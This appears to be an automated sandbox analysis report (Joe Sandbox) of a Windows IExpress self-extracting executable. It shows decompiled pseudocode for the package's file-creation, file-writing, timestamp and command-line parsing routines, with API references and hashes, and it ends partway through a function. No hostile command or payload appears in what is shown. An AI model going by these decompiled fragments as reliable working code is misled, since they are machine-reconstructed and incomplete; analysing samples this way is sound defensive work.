0x011d4d03
0x011d4d03
0x00000000
0x011d4d03
0x011d4e18
0x011d4e20
0x011d4e25
0x011d4e27
0x00000000
0x00000000
0x011d4e33
0x011d4e38
0x011d4e3a
0x00000000
0x00000000
0x011d4e40
0x011d4e51
0x011d4e56
0x011d4e5b
0x011d4e5e
0x00000000
0x00000000
0x011d4e6a
0x011d4e6f
0x011d4e71
0x00000000
0x00000000
0x011d4e77
0x011d4e7d
0x00000000
0x011d4e7d
0x011d4d25
0x011d4d25
0x011d4d28
0x011d4d36
0x011d4d3b
0x011d4d40
0x011d4d40
0x011d4d42
0x011d4d43
0x011d4d43
0x011d4d47
0x011d4d4a
0x011d4d4a
0x011d4d4c
0x011d4d4f
0x011d4d4f
0x011d4d51
0x011d4d52
0x011d4d52
0x011d4d56
0x011d4d5b
0x011d4d5d
0x011d4d62
0x00000000
0x00000000
0x011d4d67
0x011d4d6f
0x011d4d74
0x011d4d76
0x00000000
0x00000000
0x011d4d7c
0x011d4d84
0x011d4d89
0x011d4d8b
0x00000000
0x00000000
0x011d4d94
0x011d4d99
0x011d4d9e
0x011d4da1
0x011d4daa
0x011d4daa
0x011d4da3
0x011d4da3
0x011d4da3
0x011d4db5
0x011d4dbb
0x011d4dbd
0x00000000
0x011d4dc3
0x011d4dc5
0x00000000
0x011d4dc5
0x011d4dbd
0x011d4d2a
0x011d4d2a
0x011d4d2d
0x00000000
0x00000000
0x00000000
0x011d4d2d
0x011d4cf8
0x011d4cfd
0x011d4d02
0x00000000

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 011D4DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 011D4DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011D4D36, 011D4DE3

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-2312194364
Opcode ID: ad146f6199b8acde438dbc7c04fec724585c1446b497c015dcdee7bb248f2fe7
Instruction ID: dff574c4c7fde2c4e421c6212ea7b7c31eec56b94f71f327d0c1d9435df42a4a
Opcode Fuzzy Hash: ad146f6199b8acde438dbc7c04fec724585c1446b497c015dcdee7bb248f2fe7
Instruction Fuzzy Hash: 174173362049129BDB3D8F3CD8446FE77A4EF65348F048668C88297E85DB31DA8AC750

Uniqueness

Uniqueness Score: -1.00%

Function 011D4C37 Relevance: 4.5, APIs: 3, Instructions: 39
timeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D4C37(signed int __ecx, int __edx, int _a4) {
				struct _FILETIME _v12;
				struct _FILETIME _v20;
				FILETIME* _t14;
				int _t15;
				signed int _t21;

				_t21 = __ecx * 0x18;
				if( *((intOrPtr*)(_t21 + 0x11d8d64)) == 1 || DosDateTimeToFileTime(__edx, _a4,  &_v20) == 0 || LocalFileTimeToFileTime( &_v20,  &_v12) == 0) {
					L5:
					return 0;
				} else {
					_t14 =  &_v12;
					_t15 = SetFileTime( *(_t21 + 0x11d8d74), _t14, _t14, _t14); // executed
					if(_t15 == 0) {
						goto L5;
					}
					return 1;
				}
			}

0x011d4c40
0x011d4c4a
0x011d4c8d
0x00000000
0x011d4c70
0x011d4c70
0x011d4c7e
0x011d4c86
0x00000000
0x00000000
0x00000000
0x011d4c8a

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 011D4C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 011D4C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 011D4C7E

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 16b97c27bf953e0f02e749095306f8fed50e75d188b9c72f5a2a794055d6e173
Instruction ID: aacb7545e32576914b622b558b0063a0a602b4b8a443e35125f7daf9831af323
Opcode Fuzzy Hash: 16b97c27bf953e0f02e749095306f8fed50e75d188b9c72f5a2a794055d6e173
Instruction Fuzzy Hash: AAF06D7260121DAAAB2CDEA8DC49DBF7BEDEB04250744063AA916C2890FB34D554C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 011D487A Relevance: 3.1, APIs: 2, Instructions: 59
fileCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E011D487A(CHAR* __ecx, signed int __edx) {
				void* _t7;
				CHAR* _t11;
				long _t18;
				long _t23;

				_t11 = __ecx;
				asm("sbb edi, edi");
				_t18 = ( ~(__edx & 3) & 0xc0000000) + 0x80000000;
				if((__edx & 0x00000100) == 0) {
					asm("sbb esi, esi");
					_t23 = ( ~(__edx & 0x00000200) & 0x00000002) + 3;
				} else {
					if((__edx & 0x00000400) == 0) {
						asm("sbb esi, esi");
						_t23 = ( ~(__edx & 0x00000200) & 0xfffffffe) + 4;
					} else {
						_t23 = 1;
					}
				}
				_t7 = CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0); // executed
				if(_t7 != 0xffffffff || _t23 == 3) {
					return _t7;
				} else {
					E011D490C(_t11);
					return CreateFileA(_t11, _t18, 0, 0, _t23, 0x80, 0);
				}
			}

0x011d4880
0x011d488c
0x011d4894
0x011d48a0
0x011d48c9
0x011d48ce
0x011d48a2
0x011d48a8
0x011d48b7
0x011d48bc
0x011d48aa
0x011d48ac
0x011d48ac
0x011d48a8
0x011d48de
0x011d48e7
0x011d490b
0x011d48ee
0x011d48f0
0x00000000
0x011d4902

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,011D4A23,?,011D4F67,*MEMCAB,00008000,00000180), ref: 011D48DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,011D4F67,*MEMCAB,00008000,00000180), ref: 011D4902

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 828804c7322019bd4820daad8c73bd808b75816d58b6254f8aa8872b0810eb1a
Instruction ID: e39b2d659be9b1a356d578fac3140213e2872e829e907562c5a49c123fc9ac7d
Opcode Fuzzy Hash: 828804c7322019bd4820daad8c73bd808b75816d58b6254f8aa8872b0810eb1a
Instruction Fuzzy Hash: ED016DA3E125702AF32C80799C89FB7551CCBDA675F1B0334BEEAE79C1E6644C0482E4

Uniqueness

Uniqueness Score: -1.00%

Function 011D4AD0 Relevance: 3.0, APIs: 2, Instructions: 47
fileCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E011D4AD0(signed int _a4, void* _a8, long _a12) {
				signed int _t9;
				int _t12;
				signed int _t14;
				signed int _t15;
				void* _t20;
				struct HWND__* _t21;
				signed int _t24;
				signed int _t25;

				_t20 =  *0x11d858c; // 0x270
				_t9 = E011D3680(_t20);
				if( *0x11d91d8 == 0) {
					_push(_t24);
					_t12 = WriteFile( *(0x11d8d74 + _a4 * 0x18), _a8, _a12,  &_a12, 0); // executed
					if(_t12 != 0) {
						_t25 = _a12;
						if(_t25 != 0xffffffff) {
							_t14 =  *0x11d9400; // 0x9a800
							_t15 = _t14 + _t25;
							 *0x11d9400 = _t15;
							if( *0x11d8184 != 0) {
								_t21 =  *0x11d8584; // 0x0
								if(_t21 != 0) {
									SendDlgItemMessageA(_t21, 0x83a, 0x402, _t15 * 0x64 /  *0x11d93f8, 0);
								}
							}
						}
					} else {
						_t25 = _t24 | 0xffffffff;
					}
					return _t25;
				} else {
					return _t9 | 0xffffffff;
				}
			}

0x011d4ad5
0x011d4adb
0x011d4ae7
0x011d4aee
0x011d4b05
0x011d4b0d
0x011d4b14
0x011d4b1a
0x011d4b1c
0x011d4b21
0x011d4b2a
0x011d4b2f
0x011d4b31
0x011d4b39
0x011d4b54
0x011d4b54
0x011d4b39
0x011d4b2f
0x011d4b0f
0x011d4b0f
0x011d4b0f
0x011d4b5e
0x011d4ae9
0x011d4aed
0x011d4aed

APIs

Part of subcall function 011D3680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 011D369F
Part of subcall function 011D3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011D36B2
Part of subcall function 011D3680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 011D36DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 011D4B05

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: ef25c9f9e7b50f07b712cc8a3692824387b7805b46c4d80b0c3708cf261a1286
Instruction ID: de1a8d0779c77dfb229ebfcbf961a5a7064a42d70feef060573de9a91ca575a1
Opcode Fuzzy Hash: ef25c9f9e7b50f07b712cc8a3692824387b7805b46c4d80b0c3708cf261a1286
Instruction Fuzzy Hash: 0E01DD31203215ABD72C8F6CDC05F967B69FB54725F048235F939975D4C7709891C780

Uniqueness

Uniqueness Score: -1.00%

Function 011D658A Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D658A(char* __ecx, void* __edx, char* _a4) {
				intOrPtr _t4;
				char* _t6;
				char* _t8;
				void* _t10;
				void* _t12;
				char* _t16;
				intOrPtr* _t17;
				void* _t18;
				char* _t19;

				_t16 = __ecx;
				_t10 = __edx;
				_t17 = __ecx;
				_t1 = _t17 + 1; // 0x11d8b3f
				_t12 = _t1;
				do {
					_t4 =  *_t17;
					_t17 = _t17 + 1;
				} while (_t4 != 0);
				_t18 = _t17 - _t12;
				_t2 = _t18 + 1; // 0x11d8b40
				if(_t2 < __edx) {
					_t19 = _t18 + __ecx;
					if(_t19 > __ecx) {
						_t8 = CharPrevA(__ecx, _t19); // executed
						if( *_t8 != 0x5c) {
							 *_t19 = 0x5c;
							_t19 =  &(_t19[1]);
						}
					}
					_t6 = _a4;
					 *_t19 = 0;
					while( *_t6 == 0x20) {
						_t6 = _t6 + 1;
					}
					return E011D16B3(_t16, _t10, _t6);
				}
				return 0x8007007a;
			}

0x011d6592
0x011d6594
0x011d6596
0x011d6598
0x011d6598
0x011d659b
0x011d659b
0x011d659d
0x011d659e
0x011d65a2
0x011d65a4
0x011d65a9
0x011d65b2
0x011d65b6
0x011d65ba
0x011d65c3
0x011d65c5
0x011d65c8
0x011d65c8
0x011d65c3
0x011d65c9
0x011d65cc
0x011d65d2
0x011d65d1
0x011d65d1
0x00000000
0x011d65dc
0x00000000

APIs

CharPrevA.USER32(011D8B3E,011D8B3F,00000001,011D8B3E,-00000003,?,011D60EC,011D1140,?), ref: 011D65BA

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 5d011033d0721bf6bc385188d643ead7aae58f01fa3c3e4e5924563d36d0b160
Instruction ID: 51d4ede68643b8f7e41ef0d56d855900c7c6085a42b19cda4b229ee1476893a6
Opcode Fuzzy Hash: 5d011033d0721bf6bc385188d643ead7aae58f01fa3c3e4e5924563d36d0b160
Instruction Fuzzy Hash: 77F04C321042509BE33E491D9884B66BFDE9B971D0F59026EE9EAC320DCB658CC6C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 011D621E Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E011D621E() {
				signed int _v8;
				char _v268;
				signed int _t5;
				void* _t9;
				void* _t13;
				void* _t19;
				void* _t20;
				signed int _t21;

				_t5 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t5 ^ _t21;
				if(GetWindowsDirectoryA( &_v268, 0x104) != 0) {
					0x4f0 = 2;
					_t9 = E011D597D( &_v268, 0x4f0, _t19, 0x4f0); // executed
				} else {
					E011D44B9(0, 0x4f0, _t8, _t8, 0x10, _t8);
					 *0x11d9124 = E011D6285();
					_t9 = 0;
				}
				return E011D6CE0(_t9, _t13, _v8 ^ _t21, 0x4f0, _t19, _t20);
			}

0x011d6229
0x011d6230
0x011d6247
0x011d626a
0x011d6272
0x011d6249
0x011d6255
0x011d625f
0x011d6264
0x011d6264
0x011d6284

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 011D623F

Part of subcall function 011D44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011D4518
Part of subcall function 011D44B9: MessageBoxA.USER32(?,?,lenta,00010010), ref: 011D4554

Part of subcall function 011D6285: GetLastError.KERNEL32(011D5BBC), ref: 011D6285

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: DirectoryErrorLastLoadMessageStringWindows
String ID:
API String ID: 381621628-0
Opcode ID: 099b98250402880a373eb15a72b5dafe1abddf6c3bde16b03deb03f903ec091e
Instruction ID: 29b76e207318a8bc491ab7280de14f672cc2d96de826bad42accce3c005e1d14
Opcode Fuzzy Hash: 099b98250402880a373eb15a72b5dafe1abddf6c3bde16b03deb03f903ec091e
Instruction Fuzzy Hash: 46F0BEB06012096BEB68EA749D02FBA33A8DB54304F40007AA986D6081EF749984C750

Uniqueness

Uniqueness Score: -1.00%

Function 011D4B60 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D4B60(signed int _a4) {
				signed int _t9;
				signed int _t15;

				_t15 = _a4 * 0x18;
				if( *((intOrPtr*)(_t15 + 0x11d8d64)) != 1) {
					_t9 = FindCloseChangeNotification( *(_t15 + 0x11d8d74)); // executed
					if(_t9 == 0) {
						return _t9 | 0xffffffff;
					}
					 *((intOrPtr*)(_t15 + 0x11d8d60)) = 1;
					return 0;
				}
				 *((intOrPtr*)(_t15 + 0x11d8d60)) = 1;
				 *((intOrPtr*)(_t15 + 0x11d8d68)) = 0;
				 *((intOrPtr*)(_t15 + 0x11d8d70)) = 0;
				 *((intOrPtr*)(_t15 + 0x11d8d6c)) = 0;
				return 0;
			}

0x011d4b66
0x011d4b74
0x011d4b98
0x011d4ba0
0x00000000
0x011d4bac
0x011d4ba4
0x00000000
0x011d4ba4
0x011d4b78
0x011d4b7e
0x011d4b84
0x011d4b8a
0x00000000

APIs

FindCloseChangeNotification.KERNELBASE(?,00000000,00000000,?,011D4FA1,00000000), ref: 011D4B98

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: eabebae80a0c84b102fcbc16a41090b1c9097e3d8c101e697dc2c9dca8d24a30
Instruction ID: 4642b23f46ef91da8bc20bdb5520bbd2e79844dcba77ff66632cdb8ba14d1e11
Opcode Fuzzy Hash: eabebae80a0c84b102fcbc16a41090b1c9097e3d8c101e697dc2c9dca8d24a30
Instruction Fuzzy Hash: DDF01C31500F0D9EC77DDE2ADC02A5FBBE6ABA5265310092ED46ED25E4E7706441CB90

Uniqueness

Uniqueness Score: -1.00%

Function 011D66AE Relevance: 1.5, APIs: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D66AE(CHAR* __ecx) {
				unsigned int _t1;

				_t1 = GetFileAttributesA(__ecx); // executed
				if(_t1 != 0xffffffff) {
					return  !(_t1 >> 4) & 0x00000001;
				} else {
					return 0;
				}
			}

0x011d66b1
0x011d66ba
0x011d66c7
0x011d66bc
0x011d66be
0x011d66be

APIs

GetFileAttributesA.KERNELBASE(?,011D4777,?,011D4E38,?), ref: 011D66B1

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: db3fdfdf1bd8ac4c22480c47d0930c8eaab142752635d7c5ae7eb8e7ff1096f3
Instruction ID: b15ec7c5c829275dd9083600374779230432e09ff152698a1f4bcbe5f0368469
Opcode Fuzzy Hash: db3fdfdf1bd8ac4c22480c47d0930c8eaab142752635d7c5ae7eb8e7ff1096f3
Instruction Fuzzy Hash: 5DB09276223440426E29463978295562841AAC123A7E45BA0F032C11D4CB3EC486D104

Uniqueness

Uniqueness Score: -1.00%

Function 011D4CA0 Relevance: 1.3, APIs: 1, Instructions: 8
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D4CA0(long _a4) {
				void* _t2;

				_t2 = GlobalAlloc(0, _a4); // executed
				return _t2;
			}

0x011d4caa
0x011d4cb1

APIs

GlobalAlloc.KERNELBASE(00000000,?), ref: 011D4CAA

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: 544948d78c4bf57016b12d6726e7b828dd8686de67c7b21082b7489e07337a3c
Instruction ID: 4bb1b7b123835c3023252dc7f09b2eccadb966bfc6128274be8c8b596f63fe81
Opcode Fuzzy Hash: 544948d78c4bf57016b12d6726e7b828dd8686de67c7b21082b7489e07337a3c
Instruction Fuzzy Hash: FDB0123204520CB7CF102ED2F809F853F1DEFC4761F144010F61C46040CA7294508795

Uniqueness

Uniqueness Score: -1.00%

Function 011D4CC0 Relevance: 1.3, APIs: 1, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011D4CC0(void* _a4) {
				void* _t2;

				_t2 = GlobalFree(_a4); // executed
				return _t2;
			}

0x011d4cc8
0x011d4ccf

APIs

GlobalFree.KERNELBASE ref: 011D4CC8

Memory Dump Source

Source File: 00000000.00000002.403676389.00000000011D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 011D0000, based on PE: true

Associated: 00000000.00000002.403646115.00000000011D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403686161.00000000011D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.403693552.00000000011DC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11d0000_file.jbxd

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: e2ba704279f28c1d8b44ee3b3e46869df4c50c50c5d3a7797452029309e89781
Instruction ID: 463781d2ca9cf5d2488738ad01ade735175d5b551dcc621f1fc50a33a733a660
Opcode Fuzzy Hash: e2ba704279f28c1d8b44ee3b3e46869df4c50c50c5d3a7797452029309e89781
Instruction Fuzzy Hash: 8FB0123100110CB78F102A52F8088453F1DDAC42607000020F51C42011CB3798518684

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 011D5C9E Relevance: 24.9, APIs: 10, Strings: 4, Instructions: 422
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E011D5C9E(void* __ebx, CHAR* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				signed int _v12;
				CHAR* _v265;
				char _v266;
				char _v267;
				char _v268;
				CHAR* _v272;
				char _v276;
				signed int _v296;
				char _v556;
				signed int _t61;
				int _t63;
				char _t67;
				CHAR* _t69;
				signed int _t71;
				void* _t75;
				char _t79;
				void* _t83;
				void* _t85;
				void* _t87;
				intOrPtr _t88;
				void* _t100;
				intOrPtr _t101;
				CHAR* _t104;
				intOrPtr _t105;
				void* _t111;
				void* _t115;
				CHAR* _t118;
				void* _t119;
				void* _t127;
				CHAR* _t129;
				void* _t132;
				void* _t142;
				signed int _t143;
				CHAR* _t144;
				void* _t145;
				void* _t146;
				void* _t147;
				void* _t149;
				char _t155;
				void* _t157;
				void* _t162;
				void* _t163;
				char _t167;
				char _t170;
				CHAR* _t173;
				void* _t177;
				intOrPtr* _t183;
				intOrPtr* _t192;
				CHAR* _t199;
				void* _t200;
				CHAR* _t201;
				void* _t205;
				void* _t206;
				int _t209;
				void* _t210;
				void* _t212;
				void* _t213;
				CHAR* _t218;
				intOrPtr* _t219;
				intOrPtr* _t220;
				signed int _t221;
				signed int _t223;

				_t173 = __ecx;
				_t61 =  *0x11d8004; // 0xdc3102d5
				_v8 = _t61 ^ _t221;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t209 = 1;
				if(__ecx == 0 ||  *__ecx == 0) {
					_t63 = 1;
				} else {
					L2:
					while(_t209 != 0) {
						_t67 =  *_t173;
						if(_t67 == 0x20 || _t67 == 9 || _t67 == 0xd || _t67 == 0xa || _t67 == 0xb || _t67 == 0xc) {
							_t173 = CharNextA(_t173);
							continue;
						}
						_v272 = _t173;
						if(_t67 == 0) {
							break;
						} else {
							_t69 = _v272;
							_t177 = 0;
							_t213 = 0;
							_t163 = 0;
							_t202 = 1;
							do {
								if(_t213 != 0) {
									if(_t163 != 0) {
										break;
									} else {
										goto L21;
									}
								} else {
									_t69 =  *_t69;
									if(_t69 == 0x20 || _t69 == 9 || _t69 == 0xd || _t69 == 0xa || _t69 == 0xb || _t69 == 0xc) {
										break;
									} else {
										_t69 = _v272;
										L21:
										_t155 =  *_t69;
										if(_t155 != 0x22) {
											if(_t202 >= 0x104) {
												goto L106;
											} else {
												 *((char*)(_t221 + _t177 - 0x108)) = _t155;
												_t177 = _t177 + 1;
												_t202 = _t202 + 1;
												_t157 = 1;
												goto L30;
											}
										} else {
											if(_v272[1] == 0x22) {
												if(_t202 >= 0x104) {
													L106:
													_t63 = 0;
													L125:
													_pop(_t210);
													_pop(_t212);
													_pop(_t162);
													return E011D6CE0(_t63, _t162, _v8 ^ _t221, _t202, _t210, _t212);
												} else {
													 *((char*)(_t221 + _t177 - 0x108)) = 0x22;
													_t177 = _t177 + 1;
													_t202 = _t202 + 1;
													_t157 = 2;
													goto L30;
												}
											} else {
												_t157 = 1;
												if(_t213 != 0) {
													_t163 = 1;
												} else {
													_t213 = 1;
												}
												goto L30;
											}
										}
									}
								}
								goto L131;
								L30:
								_v272 =  &(_v272[_t157]);
								_t69 = _v272;
							} while ( *_t69 != 0);
							if(_t177 >= 0x104) {
								E011D6E2A(_t69, _t163, _t177, _t202, _t209, _t213);
								asm("int3");
								_push(_t221);
								_t222 = _t223;
								_t71 =  *0x11d8004; // 0xdc3102d5
								_v296 = _t71 ^ _t223;
								if(GetWindowsDirectoryA( &_v556, 0x104) != 0) {
									0x4f0 = 2;
									_t75 = E011D597D( &_v272, 0x4f0, _t209, 0x4f0); // executed
								} else {
									E011D44B9(0, 0x4f0, _t74, _t74, 0x10, _t74);
									 *0x11d9124 = E011D6285();
									_t75 = 0;
								}
								return E011D6CE0(_t75, _t163, _v12 ^ _t222, 0x4f0, _t209, _t213);
							} else {
								 *((char*)(_t221 + _t177 - 0x108)) = 0;
								if(_t213 == 0) {
									if(_t163 != 0) {
										goto L34;
									} else {
										goto L40;
									}
								} else {
									if(_t163 != 0) {
										L40:
										_t79 = _v268;
										if(_t79 == 0x2f || _t79 == 0x2d) {
											_t83 = CharUpperA(_v267) - 0x3f;
											if(_t83 == 0) {
												_t202 = 0x521;
												E011D44B9(0, 0x521, 0x11d1140, 0, 0x40, 0);
												_t85 =  *0x11d8588; // 0x0
												if(_t85 != 0) {
													CloseHandle(_t85);
												}
												ExitProcess(0);
											}
											_t87 = _t83 - 4;
											if(_t87 == 0) {
												if(_v266 != 0) {
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t167 = (0 | _v265 == 0x00000022) + 3;
														_t215 =  &_v268 + _t167;
														_t183 =  &_v268 + _t167;
														_t50 = _t183 + 1; // 0x1
														_t202 = _t50;
														do {
															_t88 =  *_t183;
															_t183 = _t183 + 1;
														} while (_t88 != 0);
														if(_t183 == _t202) {
															goto L49;
														} else {
															_t205 = 0x5b;
															if(E011D667F(_t215, _t205) == 0) {
																L115:
																_t206 = 0x5d;
																if(E011D667F(_t215, _t206) == 0) {
																	L117:
																	_t202 =  &_v276;
																	_v276 = _t167;
																	if(E011D5C17(_t215,  &_v276) == 0) {
																		goto L49;
																	} else {
																		_t202 = 0x104;
																		E011D1680(0x11d8c42, 0x104, _v276 + _t167 +  &_v268);
																	}
																} else {
																	_t202 = 0x5b;
																	if(E011D667F(_t215, _t202) == 0) {
																		goto L49;
																	} else {
																		goto L117;
																	}
																}
															} else {
																_t202 = 0x5d;
																if(E011D667F(_t215, _t202) == 0) {
																	goto L49;
																} else {
																	goto L115;
																}
															}
														}
													}
												} else {
													 *0x11d8a24 = 1;
												}
												goto L50;
											} else {
												_t100 = _t87 - 1;
												if(_t100 == 0) {
													L98:
													if(_v266 != 0x3a) {
														goto L49;
													} else {
														_t170 = (0 | _v265 == 0x00000022) + 3;
														_t217 =  &_v268 + _t170;
														_t192 =  &_v268 + _t170;
														_t38 = _t192 + 1; // 0x1
														_t202 = _t38;
														do {
															_t101 =  *_t192;
															_t192 = _t192 + 1;
														} while (_t101 != 0);
														if(_t192 == _t202) {
															goto L49;
														} else {
